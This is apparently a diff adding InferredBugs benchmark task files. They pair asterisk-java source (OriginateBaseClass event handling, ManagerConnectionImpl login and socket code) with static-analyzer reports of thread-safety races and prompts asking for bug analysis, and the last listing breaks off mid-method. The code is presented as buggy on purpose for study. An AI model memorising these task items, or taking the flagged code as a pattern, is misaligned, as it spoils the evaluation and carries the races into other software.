+                    + (response.isChannel() ? response.getChannel() : response.getEndPoint()) + " originateID:"
+                    + this.originateID);
+            OriginateBaseClass.logger.debug("{" + response.getReason() + ":" + response.getResponse() + "}"); //$NON-NLS-2$ //$NON-NLS-3$
+            if (this.originateID != null)
+            {
+                if (this.originateID.compareToIgnoreCase(response.getActionId()) == 0)
+                {
+                    this.originateSuccess = response.isSuccess();
+                    OriginateBaseClass.logger.debug("OriginateResponse: matched actionId, success=" + this.originateSuccess
+                            + " channelSeen=" + this.channelSeen);
+
+                    this.originateSeen = true;
+
+                    if (originateSuccess)
+                    {
+                        if (newChannel == null)
+                        {
+                            this.newChannel = response.getChannel();
+                        }
+                        channelSeen = newChannel != null;
+
+                        // if we have also seen the channel then we can notify
+                        // the
+                        // originate() method
+                        // that the call is up. Otherwise we will rely on the
+                        // NewChannelEvent doing the
+                        // notify.
+                        if (this.channelSeen == true)
+                        {
+                            OriginateBaseClass.logger.info("notify originate response event " + this.originateSuccess);
+                            originateLatch.countDown();
+                        }
+                        else
+                        {
+                            logger.error("Originate Response didn't contain the channel");
+                        }
+                    }
+                }
+            }
+            else
+            {
+                OriginateBaseClass.logger.warn("actionid is null");
+            }
+        }
+
+        if (event instanceof NewChannelEvent)
+        {
+            final NewChannelEvent newState = (NewChannelEvent) event;
+            if (channelId.equalsIgnoreCase(newState.getChannel().getUniqueId()))
+            {
+                final Channel channel = newState.getChannel();
+
+                OriginateBaseClass.logger.debug("new channel event :" + channel + " context = " + newState.getContext() //$NON-NLS-2$
+                        + " state =" + newState.getChannelStateDesc() + " state =" + newState.getChannelState()); //$NON-NLS-2$
+
+                handleId(channel);
+            }
+        }
+
+        if (event instanceof BridgeEvent)
+        {
+            if (((BridgeEvent) event).isLink())
+            {
+                final BridgeEvent bridgeEvent = (BridgeEvent) event;
+                Channel channel = bridgeEvent.getChannel1();
+                if (bridgeEvent.getChannel1().isLocal())
+                {
+                    channel = bridgeEvent.getChannel2();
+                }
+                if (channelId.equalsIgnoreCase(bridgeEvent.getChannel1().getUniqueId())
+                        || channelId.equalsIgnoreCase(bridgeEvent.getChannel2().getUniqueId()))
+                {
+
+                    OriginateBaseClass.logger
+                            .debug("new bridge event :" + channel + " channel1 = " + bridgeEvent.getChannel1() //$NON-NLS-2$
+                                    + " channel2 =" + bridgeEvent.getChannel2());
+
+                    handleId(channel);
+                }
+            }
+
+        }
+
+        if (event instanceof DialEndEvent)
+        {
+            if (channelId.equalsIgnoreCase(((DialEndEvent) event).getDestChannel().getUniqueId()))
+            {
+                String forward = ((DialEndEvent) event).getForward();
+                if (forward != null && forward.length() > 0)
+                {
+                    originateLatch.countDown();
+                }
+            }
+        }
+    }
+
+    private void handleId(Channel channel)
+    {
+
+        if ((this.newChannel == null) && !channel.isLocal())
+        {
+            this.newChannel = channel;
+            this.channelSeen = true;
+
+            OriginateBaseClass.logger.info("new channel name " + channel);
+            if (this.listener != null)
+            {
+                /*
+                 * Update the phone channel to allow the call to be cancelled
+                 * before it's answered.
+                 */
+                this.listener.channelUpdate(channel);
+            }
+
+            if (this.originateSeen == true)
+            {
+                OriginateBaseClass.logger.debug("notifying success 362");
+                originateLatch.countDown();
+            }
+        }
+
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.asteriskjava.pbx.internal.managerAPI.OriginateBaseClass.originate` reads without synchronization from `this.org.asteriskjava.pbx.internal.managerAPI.OriginateBaseClass.hungup`. Potentially races with write in method `OriginateBaseClass.onManagerEvent(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+OriginateResult OriginateBaseClass.originate(EndPoint,EndPoint,HashMap,CallerID,Integer,boolean,String)
+
+### Procedure Id:
+org.asteriskjava.pbx.internal.managerAPI.OriginateBaseClass.originate(org.asteriskjava.pbx.EndPoint,.26795d29ad9882cedee4c0cb252a19d1
+
+### File:
+src/main/java/org/asteriskjava/pbx/internal/managerAPI/OriginateBaseClass.java
+
+### Key:
+OriginateBaseClass.java|originate|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+0f8b04dc65b40e9f7fba3b02e6c1600f
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6260/instruction.md b/inferredbugs-6260/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2b05b67ed945b373220e775a19bdfdd1d401ba14
--- /dev/null
+++ b/inferredbugs-6260/instruction.md
@@ -0,0 +1,1522 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** asterisk-java
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *  Copyright 2004-2006 Stefan Reuter
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ *
+ */
+package org.asteriskjava.manager.internal;
+
+import static org.asteriskjava.manager.ManagerConnectionState.CONNECTED;
+import static org.asteriskjava.manager.ManagerConnectionState.CONNECTING;
+import static org.asteriskjava.manager.ManagerConnectionState.DISCONNECTED;
+import static org.asteriskjava.manager.ManagerConnectionState.DISCONNECTING;
+import static org.asteriskjava.manager.ManagerConnectionState.INITIAL;
+import static org.asteriskjava.manager.ManagerConnectionState.RECONNECTING;
+
+import java.io.IOException;
+import java.io.Serializable;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.atomic.AtomicLong;
+
+import org.asteriskjava.AsteriskVersion;
+import org.asteriskjava.manager.AuthenticationFailedException;
+import org.asteriskjava.manager.EventTimeoutException;
+import org.asteriskjava.manager.ManagerConnection;
+import org.asteriskjava.manager.ManagerConnectionState;
+import org.asteriskjava.manager.ManagerEventHandler;
+import org.asteriskjava.manager.ManagerEventListener;
+import org.asteriskjava.manager.ManagerResponseHandler;
+import org.asteriskjava.manager.ManagerResponseListener;
+import org.asteriskjava.manager.ResponseEvents;
+import org.asteriskjava.manager.TimeoutException;
+import org.asteriskjava.manager.action.ChallengeAction;
+import org.asteriskjava.manager.action.CommandAction;
+import org.asteriskjava.manager.action.EventGeneratingAction;
+import org.asteriskjava.manager.action.LoginAction;
+import org.asteriskjava.manager.action.LogoffAction;
+import org.asteriskjava.manager.action.ManagerAction;
+import org.asteriskjava.manager.event.ConnectEvent;
+import org.asteriskjava.manager.event.DisconnectEvent;
+import org.asteriskjava.manager.event.ManagerEvent;
+import org.asteriskjava.manager.event.ProtocolIdentifierReceivedEvent;
+import org.asteriskjava.manager.event.ResponseEvent;
+import org.asteriskjava.manager.response.ChallengeResponse;
+import org.asteriskjava.manager.response.CommandResponse;
+import org.asteriskjava.manager.response.ManagerError;
+import org.asteriskjava.manager.response.ManagerResponse;
+import org.asteriskjava.util.DateUtil;
+import org.asteriskjava.util.Log;
+import org.asteriskjava.util.LogFactory;
+import org.asteriskjava.util.SocketConnectionFacade;
+import org.asteriskjava.util.internal.SocketConnectionFacadeImpl;
+
+
+/**
+ * Default implemention of the ManagerConnection interface.<p>
+ * Generelly avoid direct use of this class. Use the ManagerConnectionFactory to
+ * obtain a ManagerConnection instead.<p>
+ * When using a dependency injection framework like Spring direct usage for
+ * wiring up beans that require a ManagerConnection property is fine though.<p>
+ * Note that the DefaultManagerConnection will create one new Thread
+ * for reading data from Asterisk on the first call to on of the login()
+ * methods.
+ * 
+ * @see org.asteriskjava.manager.ManagerConnectionFactory
+ * @author srt
+ * @version $Id$
+ */
+public class ManagerConnectionImpl implements ManagerConnection, Dispatcher
+{
+    private static final int RECONNECTION_INTERVAL_1 = 50;
+    private static final int RECONNECTION_INTERVAL_2 = 5000;
+
+    private static final AtomicLong idCounter = new AtomicLong(0);
+
+    /**
+     * Instance logger.
+     */
+    private final Log logger = LogFactory.getLog(getClass());
+
+    private final long id;
+
+    /**
+     * Used to construct the internalActionId.
+     */
+    private AtomicLong actionIdCounter = new AtomicLong(0);
+
+    /* Config attributes */
+    /**
+     * Hostname of the Asterisk server to connect to.
+     */
+    private String hostname = "localhost";
+
+    /**
+     * TCP port to connect to.  
+     */
+    private int port = 5038;
+
+    /**
+     * The username to use for login as defined in Asterisk's
+     * <code>manager.conf</code>.
+     */
+    protected String username;
+
+    /**
+     * The password to use for login as defined in Asterisk's
+     * <code>manager.conf</code>.
+     */
+    protected String password;
+
+    /**
+     * The default timeout to wait for a ManagerResponse after sending a
+     * ManagerAction.
+     */
+    private long defaultResponseTimeout = 2000;
+
+    /**
+     * The default timeout to wait for the last ResponseEvent after sending an
+     * EventGeneratingAction.
+     */
+    private long defaultEventTimeout = 5000;
+
+    /**
+     * The timeout to use when connecting the the Asterisk server.
+     */
+    private int socketTimeout = 0;
+
+    /**
+     * Should we continue to reconnect after an authentication failure?
+     */
+    private boolean keepAliveAfterAuthenticationFailure = true;
+
+    /**
+     * The socket to use for TCP/IP communication with Asterisk.
+     */
+    private SocketConnectionFacade socket;
+
+    /**
+     * The thread that runs the reader.
+     */
+    private Thread readerThread;
+    private final AtomicLong readerThreadCounter = new AtomicLong(0);
+
+    /**
+     * The thread that performs reconnect.
+     */
+    private Thread reconnectThread;
+    private final AtomicLong reconnectThreadCounter = new AtomicLong(0);
+
+    /**
+     * The reader to use to receive events and responses from asterisk.
+     */
+    private ManagerReader reader;
+
+    /**
+     * The writer to use to send actions to asterisk.
+     */
+    private ManagerWriter writer;
+
+    /**
+     * The protocol identifer Asterisk sends on connect wrapped into an object to
+     * be used as mutex.
+     */
+    private final ProtocolIdentifierWrapper protocolIdentifier;
+    
+    /**
+     * The version of the Asterisk server we are connected to.
+     */
+    private AsteriskVersion version;
+
+    /**
+     * Contains the registered handlers that process the ManagerResponses.<p>
+     * Key is the internalActionId of the Action sent and value the
+     * corresponding ResponseListener.
+     */
+    private final Map<String, ManagerResponseListener> responseListeners;
+
+    /**
+     * Contains the event handlers that handle ResponseEvents for the
+     * sendEventGeneratingAction methods.<p>
+     * Key is the internalActionId of the Action sent and value the
+     * corresponding EventHandler.
+     */
+    private final Map<String, ManagerEventListener> responseEventListeners;
+
+    /**
+     * Contains the event handlers that users registered.
+     */
+    private final List<ManagerEventListener> eventListeners;
+    
+    /**
+     * <code>true</code> while reconnecting.
+     */
+    private boolean reconnecting = false;
+
+    protected ManagerConnectionState state = INITIAL;
+    
+    private String eventMask;
+    
+    /**
+     * Creates a new instance.
+     */
+    public ManagerConnectionImpl()
+    {
+        this.id = idCounter.getAndIncrement();
+        this.responseListeners = new HashMap<String, ManagerResponseListener>();
+        this.responseEventListeners = new HashMap<String, ManagerEventListener>();
+        this.eventListeners = new ArrayList<ManagerEventListener>();
+        this.protocolIdentifier = new ProtocolIdentifierWrapper();
+    }
+
+    // the following two methods can be overriden when running test cases to
+    // return a mock object
+    protected ManagerReader createReader(Dispatcher dispatcher, Object source)
+    {
+        return new ManagerReaderImpl(dispatcher, source);
+    }
+
+    protected ManagerWriter createWriter()
+    {
+        return new ManagerWriterImpl();
+    }
+
+    /**
+     * Sets the hostname of the asterisk server to connect to.<p>
+     * Default is <code>localhost</code>.
+     * 
+     * @param hostname the hostname to connect to
+     */
+    public void setHostname(String hostname)
+    {
+        this.hostname = hostname;
+    }
+
+    /**
+     * Sets the port to use to connect to the asterisk server. This is the port
+     * specified in asterisk's <code>manager.conf</code> file.<p>
+     * Default is 5038.
+     * 
+     * @param port the port to connect to
+     */
+    public void setPort(int port)
+    {
+        this.port = port;
+    }
+
+    /**
+     * Sets the username to use to connect to the asterisk server. This is the
+     * username specified in asterisk's <code>manager.conf</code> file.
+     * 
+     * @param username the username to use for login
+     */
+    public void setUsername(String username)
+    {
+        this.username = username;
+    }
+
+    /**
+     * Sets the password to use to connect to the asterisk server. This is the
+     * password specified in Asterisk's <code>manager.conf</code> file.
+     * 
+     * @param password the password to use for login
+     */
+    public void setPassword(String password)
+    {
+        this.password = password;
+    }
+
+    /**
+     * Sets the time in milliseconds the synchronous method
+     * {@link #sendAction(ManagerAction)} will wait for a response before
+     * throwing a TimeoutException.<p>
+     * Default is 2000.
+     * 
+     * @param defaultResponseTimeout default response timeout in milliseconds
+     * @since 0.2
+     */
+    public void setDefaultResponseTimeout(long defaultResponseTimeout)
+    {
+        this.defaultResponseTimeout = defaultResponseTimeout;
+    }
+
+    /**
+     * Sets the time in milliseconds the synchronous method
+     * {@link #sendEventGeneratingAction(EventGeneratingAction)} will wait for a
+     * response and the last response event before throwing a TimeoutException.<p>
+     * Default is 5000.
+     * 
+     * @param defaultEventTimeout default event timeout in milliseconds
+     * @since 0.2
+     */
+    public void setDefaultEventTimeout(long defaultEventTimeout)
+    {
+        this.defaultEventTimeout = defaultEventTimeout;
+    }
+
+    /**
+     * Set to <code>true</code> to try reconnecting to ther asterisk serve
+     * even if the reconnection attempt threw an AuthenticationFailedException.<p>
+     * Default is <code>true</code>.
+     */
+    public void setKeepAliveAfterAuthenticationFailure(
+            boolean keepAliveAfterAuthenticationFailure)
+    {
+        this.keepAliveAfterAuthenticationFailure = keepAliveAfterAuthenticationFailure;
+    }
+
+    /* Implementation of ManagerConnection interface */
+
+    public String getHostname()
+    {
+        return hostname;
+    }
+
+    public int getPort()
+    {
+        return port;
+    }
+
+    public void registerUserEventClass(Class userEventClass)
+    {
+        if (reader == null)
+        {
+            reader = createReader(this, this);
+        }
+
+        reader.registerEventClass(userEventClass);
+    }
+
+    public void setSocketTimeout(int socketTimeout)
+    {
+        this.socketTimeout = socketTimeout;
+    }
+
+    public synchronized void login() throws IOException, AuthenticationFailedException,
+            TimeoutException
+    {
+        login(null);
+    }
+
+    public synchronized void login(String eventMask) throws IOException, AuthenticationFailedException, TimeoutException
+    {
+        if (state != INITIAL && state != DISCONNECTED)
+        {
+            throw new IllegalStateException("Login may only be perfomed when in state " +
+                    "INITIAL or DISCONNECTED, but connection is in state " + state);
+        }
+
+        state = CONNECTING;
+        this.eventMask = eventMask;
+        try
+        {
+            doLogin(defaultResponseTimeout, eventMask);
+        }
+        finally
+        {
+            if (state != CONNECTED)
+            {
+                state = DISCONNECTED;
+            }
+        }
+    }
+
+    /**
+     * Does the real login, following the steps outlined below.<p>
+     * <ol>
+     * <li>Connects to the asterisk server by calling {@link #connect()} if not
+     * already connected
+     * <li>Waits until the protocol identifier is received but not longer than timeout ms.
+     * <li>Sends a {@link ChallengeAction} requesting a challenge for authType
+     * MD5.
+     * <li>When the {@link ChallengeResponse} is received a {@link LoginAction}
+     * is sent using the calculated key (MD5 hash of the password appended to
+     * the received challenge).
+     * </ol>
+     * 
+     * @param timeout the maximum time to wait for the protocol identifier (in
+     *            ms)
+     * @param eventMask the event mask. Set to "on" if all events should be send,
+     *            "off" if not events should be sent or a combination of
+     *            "system", "call" and "log" (separated by ',') to specify what
+     *            kind of events should be sent.
+     * @throws AuthenticationFailedException if username or password are
+     *             incorrect and the login action returns an error or if the MD5
+     *             hash cannot be computed. The connection is closed in this
+     *             case.
+     * @throws TimeoutException if a timeout occurs while waiting for the
+     *             protocol identifier. The connection is closed in this case.
+     */
+    protected synchronized void doLogin(long timeout, String eventMask) throws IOException, AuthenticationFailedException, TimeoutException
+    {
+        ChallengeAction challengeAction;
+        ManagerResponse challengeResponse;
+        String challenge;
+        String key;
+        LoginAction loginAction;
+        ManagerResponse loginResponse;
+
+        if (socket == null)
+        {
+            connect();
+        }
+
+        synchronized (protocolIdentifier)
+        {
+            if (protocolIdentifier.value == null)
+            {
+                try
+                {
+                    protocolIdentifier.wait(timeout);
+                }
+                catch (InterruptedException e)
+                {
+                    // swallow
+                }
+            }
+
+            if (protocolIdentifier.value == null)
+            {
+                disconnect();
+                throw new TimeoutException(
+                        "Timeout waiting for protocol identifier");
+            }
+        }
+
+        challengeAction = new ChallengeAction("MD5");
+        try
+        {
+            challengeResponse = sendAction(challengeAction);
+        }
+        catch(Exception e)
+        {
+            disconnect();
+            throw new AuthenticationFailedException("Unable to send challenge action", e);
+        }
+        
+        if (challengeResponse instanceof ChallengeResponse)
+        {
+            challenge = ((ChallengeResponse) challengeResponse).getChallenge();
+        }
+        else
+        {
+            disconnect();
+            throw new AuthenticationFailedException(
+                    "Unable to get challenge from Asterisk. ChallengeAction returned: " 
+                    + challengeResponse.getMessage());
+        }
+
+        try
+        {
+            MessageDigest md;
+
+            md = MessageDigest.getInstance("MD5");
+            if (challenge != null)
+            {
+                md.update(challenge.getBytes());
+            }
+            if (password != null)
+            {
+                md.update(password.getBytes());
+            }
+            key = ManagerUtil.toHexString(md.digest());
+        }
+        catch (NoSuchAlgorithmException ex)
+        {
+            disconnect();
+            throw new AuthenticationFailedException(
+                    "Unable to create login key using MD5 Message Digest", ex);
+        }
+
+        loginAction = new LoginAction(username, "MD5", key, eventMask);
+        try
+        {
+            loginResponse = sendAction(loginAction);
+        }
+        catch(Exception e)
+        {
+            disconnect();
+            throw new AuthenticationFailedException("Unable to send login action", e);
+        }
+
+        if (loginResponse instanceof ManagerError)
+        {
+            disconnect();
+            throw new AuthenticationFailedException(loginResponse.getMessage());
+        }
+
+        state = CONNECTED; 
+
+        logger.info("Successfully logged in");
+
+        version = determineVersion();
+        writer.setTargetVersion(version);
+
+        logger.info("Determined Asterisk version: " + version);
+
+        // generate pseudo event indicating a successful login
+        ConnectEvent connectEvent = new ConnectEvent(this);
+        connectEvent.setProtocolIdentifier(getProtocolIdentifier());
+        connectEvent.setDateReceived(DateUtil.getDate());
+        // TODO could this cause a deadlock?
+        fireEvent(connectEvent);
+    }
+    
+    protected AsteriskVersion determineVersion() throws IOException, TimeoutException
+    {
+        ManagerResponse showVersionFilesResponse;
+
+        // increase timeout as output is quite large
+        showVersionFilesResponse = sendAction(new CommandAction("show version files pbx.c"), 
+                defaultResponseTimeout * 2);
+        if (showVersionFilesResponse instanceof CommandResponse)
+        {
+            List showVersionFilesResult;
+
+            showVersionFilesResult = ((CommandResponse) showVersionFilesResponse).getResult();
+            if (showVersionFilesResult != null && showVersionFilesResult.size() > 0)
+            {
+                String line1;
+
+                line1 = (String) showVersionFilesResult.get(0); 
+                if (line1 != null && line1.startsWith("File"))
+                {
+                    return AsteriskVersion.ASTERISK_1_2;
+                }
+            }
+        }
+        
+        return AsteriskVersion.ASTERISK_1_0;
+    }
+
+    protected synchronized void connect() throws IOException
+    {
+        logger.info("Connecting to " + hostname + ":" + port);
+
+        if (reader == null)
+        {
+            logger.debug("Creating reader for " + hostname + ":" + port);
+            reader = createReader(this, this);
+        }
+
+        if (writer == null)
+        {
+            logger.debug("Creating writer");
+            writer = createWriter();
+        }
+
+        logger.debug("Creating socket");
+        socket = createSocket();
+
+        logger.debug("Passing socket to reader");
+        reader.setSocket(socket);
+
+        if (readerThread == null || !readerThread.isAlive() || reader.isDead())
+        {
+            logger.debug("Creating and starting reader thread");
+            readerThread = new Thread(reader, "ManagerConnection-" + id + "-Reader-" + readerThreadCounter.getAndIncrement());
+            readerThread.setDaemon(true);
+            readerThread.start();
+        }
+
+        logger.debug("Passing socket to writer");
+        writer.setSocket(socket);
+    }
+
+    protected SocketConnectionFacade createSocket() throws IOException
+    {
+        return new SocketConnectionFacadeImpl(hostname, port, socketTimeout);
+    }
+
+    public synchronized boolean isConnected()
+    {
+        return socket != null && !reconnecting && socket.isConnected();
+    }
+
+    public synchronized void logoff() throws IllegalStateException
+    {
+        if (state != CONNECTED && state != RECONNECTING)
+        {
+            throw new IllegalStateException("Logoff may only be perfomed when in state " +
+                    "CONNECTED or RECONNECTING, but connection is in state " + state);
+        }
+
+        state = DISCONNECTING;
+
+        if (socket != null)
+        {
+            if (!reconnecting)
+            {
+                try
+                {
+                    sendAction(new LogoffAction());
+                }
+                catch(Exception e)
+                {
+                    logger.warn("Unable to send LogOff action", e);
+                }
+            }
+        }
+        cleanup();
+        state = DISCONNECTED;
+    }
+
+    /**
+     * Closes the socket connection.
+     */
+    protected synchronized void disconnect()
+    {
+        if (socket != null)
+        {
+            logger.info("Closing socket.");
+            try
+            {
+                socket.close();
+            }
+            catch (IOException ex)
+            {
+                logger.warn("Unable to close socket: " + ex.getMessage());
+            }
+            socket = null;
+        }
+        protocolIdentifier.value = null;
+    }
+
+    public ManagerResponse sendAction(ManagerAction action) throws IOException,
+            TimeoutException, IllegalArgumentException, IllegalStateException
+    {
+        return sendAction(action, defaultResponseTimeout);
+    }
+
+    /*
+     * Implements synchronous sending of "simple" actions.
+     */
+    public ManagerResponse sendAction(ManagerAction action, long timeout)
+            throws IOException, TimeoutException, IllegalArgumentException,
+            IllegalStateException
+    {
+        ResponseHandlerResult result;
+        ManagerResponseListener callbackHandler;
+
+        result = new ResponseHandlerResult();
+        callbackHandler = new DefaultResponseListener(result);
+
+        synchronized (result)
+        {
+            sendAction(action, callbackHandler);
+            // only wait if we did not yet receive the response.
+            // Responses may be returned really fast.
+            if (result.getResponse() == null)
+            {
+                try
+                {
+                    result.wait(timeout);
+                }
+                catch (InterruptedException ex)
+                {
+                    logger.warn("Interrupted while waiting for result");
+                }
+            }
+        }
+    
+        // still no response?
+        if (result.getResponse() == null)
+        {
+            throw new TimeoutException("Timeout waiting for response to "
+                    + action.getAction()
+                    + (action.getActionId() == null ? "" : " (actionId: " + action.getActionId() + ")"));
+        }
+
+        return result.getResponse();
+    }
+
+    @SuppressWarnings("deprecation")
+    public void sendAction(ManagerAction action,
+            ManagerResponseHandler callbackHandler) throws IOException,
+            IllegalArgumentException, IllegalStateException
+    {
+        sendAction(action, new ManagerResponseListenerAdapter(callbackHandler));
+    }
+
+    public void sendAction(ManagerAction action,
+            ManagerResponseListener callbackHandler) throws IOException,
+            IllegalArgumentException, IllegalStateException
+    {
+        final String internalActionId;
+
+        if (action == null)
+        {
+            throw new IllegalArgumentException("Unable to send action: action is null.");
+        }
+
+        // In general sending actions is only allowed while connected, though
+        // there are a few exceptions, these are handled here:
+        if ((state == CONNECTING || state == RECONNECTING) 
+                && (action instanceof ChallengeAction || action instanceof LoginAction))
+        {
+            // when (re-)connecting challenge and login actions are ok.
+        }
+        else if (state == DISCONNECTING && action instanceof LogoffAction)
+        {
+            // when disconnecting logoff action is ok.
+        }
+        else if (state != CONNECTED)
+        {
+            throw new IllegalStateException("Actions may only be sent when in state " +
+                    "CONNECTED, but connection is in state " + state);
+        }
+
+        if (socket == null)
+        {
+            throw new IllegalStateException("Unable to send "
+                    + action.getAction() + " action: socket not connected.");
+        }
+
+        internalActionId = createInternalActionId();
+
+        // if the callbackHandler is null the user is obviously not interested
+        // in the response, thats fine.
+        if (callbackHandler != null)
+        {
+            synchronized (this.responseListeners)
+            {
+                this.responseListeners.put(internalActionId, callbackHandler);
+            }
+        }
+
+        writer.sendAction(action, internalActionId);
+    }
+
+    public ResponseEvents sendEventGeneratingAction(EventGeneratingAction action)
+            throws IOException, EventTimeoutException,
+            IllegalArgumentException, IllegalStateException
+    {
+        return sendEventGeneratingAction(action, defaultEventTimeout);
+    }
+
+    /*
+     * Implements synchronous sending of event generating actions.
+     */
+    public ResponseEvents sendEventGeneratingAction(
+            EventGeneratingAction action, long timeout) throws IOException,
+            EventTimeoutException, IllegalArgumentException,
+            IllegalStateException
+    {
+        final ResponseEventsImpl responseEvents;
+        final ResponseEventHandler responseEventHandler;
+        final String internalActionId;
+
+        if (action == null)
+        {
+            throw new IllegalArgumentException(
+                    "Unable to send action: action is null.");
+        }
+        else if (action.getActionCompleteEventClass() == null)
+        {
+            throw new IllegalArgumentException(
+                    "Unable to send action: actionCompleteEventClass for " + 
+                    action.getClass().getName() + " is null.");
+        }
+        else if (!ResponseEvent.class.isAssignableFrom(action.getActionCompleteEventClass()))
+        {
+            throw new IllegalArgumentException(
+                    "Unable to send action: actionCompleteEventClass (" + 
+                    action.getActionCompleteEventClass().getName() + ") for " +
+                    action.getClass().getName() + " is not a ResponseEvent.");
+        }
+
+        // TODO
+        if (socket == null)
+        {
+            throw new IllegalStateException("Unable to send "
+                    + action.getAction() + " action: not connected.");
+        }
+
+        responseEvents = new ResponseEventsImpl();
+        responseEventHandler = new ResponseEventHandler(
+                responseEvents, 
+                action.getActionCompleteEventClass());
+
+        internalActionId = createInternalActionId();
+
+        // register response handler...
+        synchronized (this.responseListeners)
+        {
+            this.responseListeners.put(internalActionId, responseEventHandler);
+        }
+
+        // ...and event handler.
+        synchronized (this.responseEventListeners)
+        {
+            this.responseEventListeners.put(internalActionId, responseEventHandler);
+        }
+
+        synchronized (responseEvents)
+        {
+            writer.sendAction(action, internalActionId);
+            // only wait if response has not yet arrived.
+            if ((responseEvents.getResponse() == null || !responseEvents.isComplete()))
+            {
+                try
+                {
+                    responseEvents.wait(timeout);
+                }
+                catch (InterruptedException e)
+                {
+                    logger.warn("Interrupted while waiting for response events.");
+                }
+            }
+        }
+
+        // still no response or not all events received and timed out?
+        if ((responseEvents.getResponse() == null || !responseEvents.isComplete()))
+        {
+            // clean up
+            synchronized (this.responseEventListeners)
+            {
+                this.responseEventListeners.remove(internalActionId);
+            }
+
+            throw new EventTimeoutException(
+                    "Timeout waiting for response or response events to "
+                    + action.getAction()
+                    + (action.getActionId() == null ? "" : " (actionId: " + action.getActionId() + ")"),
+                    responseEvents);
+        }
+
+        // remove the event handler
+        // Note: The response handler has already been removed  
+        //       when the response was received
+        synchronized (this.responseEventListeners)
+        {
+            this.responseEventListeners.remove(internalActionId);
+        }
+
+        return responseEvents;
+    }
+
+    /**
+     * Creates a new unique internal action id based on the hash code of this
+     * connection and a sequence.
+     * 
+     * @see ManagerUtil#addInternalActionId(String, String)
+     * @see ManagerUtil#getInternalActionId(String)
+     * @see ManagerUtil#stripInternalActionId(String)
+     */
+    private String createInternalActionId()
+    {
+        final StringBuffer sb;
+
+        sb = new StringBuffer();
+        sb.append(this.hashCode());
+        sb.append("_");
+        sb.append(actionIdCounter.getAndIncrement());
+
+        return sb.toString();
+    }
+
+    public void addEventListener(final ManagerEventListener listener)
+    {
+        synchronized (this.eventListeners)
+        {
+            // only add it if its not already there
+            if (!this.eventListeners.contains(listener))
+            {
+                this.eventListeners.add(listener);
+            }
+        }
+    }
+
+    public void removeEventListener(final ManagerEventListener listener)
+    {
+        synchronized (this.eventListeners)
+        {
+            if (this.eventListeners.contains(listener))
+            {
+                this.eventListeners.remove(listener);
+            }
+        }
+    }
+
+    @SuppressWarnings("deprecation")
+    public void addEventHandler(final ManagerEventHandler eventHandler)
+    {
+        addEventListener(new ManagerEventListenerAdapter(eventHandler));
+    }
+
+    @SuppressWarnings("deprecation")
+    public void removeEventHandler(final ManagerEventHandler eventHandler)
+    {
+        synchronized (this.eventListeners)
+        {
+            Iterator<ManagerEventListener> i = eventListeners.iterator();
+            
+            while (i.hasNext())
+            {
+                ManagerEventListener listener = i.next();
+                if (listener instanceof ManagerEventListenerAdapter &&
+                    ((ManagerEventListenerAdapter) listener).handler == eventHandler)
+                {
+                    i.remove();
+                }
+            }
+        }
+    }
+
+    public String getProtocolIdentifier()
+    {
+        return protocolIdentifier.value;
+    }
+
+    public ManagerConnectionState getState()
+    {
+        return state;
+    }
+
+    /* Implementation of Dispatcher: callbacks for ManagerReader */
+
+    /**
+     * This method is called by the reader whenever a {@link ManagerResponse} is
+     * received. The response is dispatched to the associated
+     * {@link ManagerResponseListener}.
+     * 
+     * @param response the response received by the reader
+     * @see ManagerReader
+     */
+    public void dispatchResponse(ManagerResponse response)
+    {
+        final String actionId;
+        String internalActionId;
+        ManagerResponseListener listener;
+
+        // shouldn't happen
+        if (response == null)
+        {
+            logger.error("Unable to dispatch null response. This should never happen. Please file a bug.");
+            return;
+        }
+
+        actionId = response.getActionId();
+        internalActionId = null;
+        listener = null;
+
+        if (actionId != null)
+        {
+            internalActionId = ManagerUtil.getInternalActionId(actionId);
+            response.setActionId(ManagerUtil.stripInternalActionId(actionId));
+        }
+
+        logger.debug("Dispatching response with internalActionId '"
+                + internalActionId + "':\n" + response);
+
+        if (internalActionId != null)
+        {
+            synchronized (this.responseListeners)
+            {
+                listener = responseListeners.get(internalActionId);
+                if (listener != null)
+                {
+                    this.responseListeners.remove(internalActionId);
+                }
+                else
+                {
+                    // when using the async sendAction it's ok not to register a
+                    // callback so if we don't find a response handler thats ok
+                    logger.debug("No response listener registered for "
+                            + "internalActionId '" + internalActionId + "'");
+                }
+            }
+        }
+        else
+        {
+            logger.error("Unable to retrieve internalActionId from response: "
+                    + "actionId '" + actionId + "':\n" + response);
+        }
+
+        if (listener != null)
+        {
+            try
+            {
+                listener.onManagerResponse(response);
+            }
+            catch (Exception e)
+            {
+                logger.warn("Unexpected exception in response listener "
